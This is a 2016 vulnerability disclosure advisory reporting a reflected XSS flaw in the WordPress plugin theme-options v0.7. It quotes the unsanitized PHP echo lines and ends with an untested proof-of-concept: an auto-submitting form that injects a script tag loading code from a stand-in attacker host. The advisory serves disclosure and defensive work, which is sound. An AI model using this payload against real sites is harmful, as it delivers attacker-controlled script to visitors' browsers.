Advisory #: 993
Title: Reflected XSS in wordpress plugin theme-options v0.7
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/theme-options
Downloads: 18057
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: theme-options
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./theme-options/snippets/Image_Management/Image_Management.php: 76: <td><input type="text" class="regular-text" value="<?php if (!isset($add_group_error)) echo $_POST['newname']; ?>" name="newname"/></td> 80: <td><input type="text" class="regular-text" value="<?php if (!isset($add_group_error)) echo $_POST['newdescription']; ?>" name="newdescription"/></td> 85: <input type="text" class="regular-text" value="<?php if (!isset($add_group_error)) echo $_POST['newtags']; ?>" name="newtags"/> The variable newname appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./theme-options/snippets/Image_Management/Image_Management.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/theme-options/snippets/Image_Management/Image_Management.php method=post> <input type=hidden name=newname value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>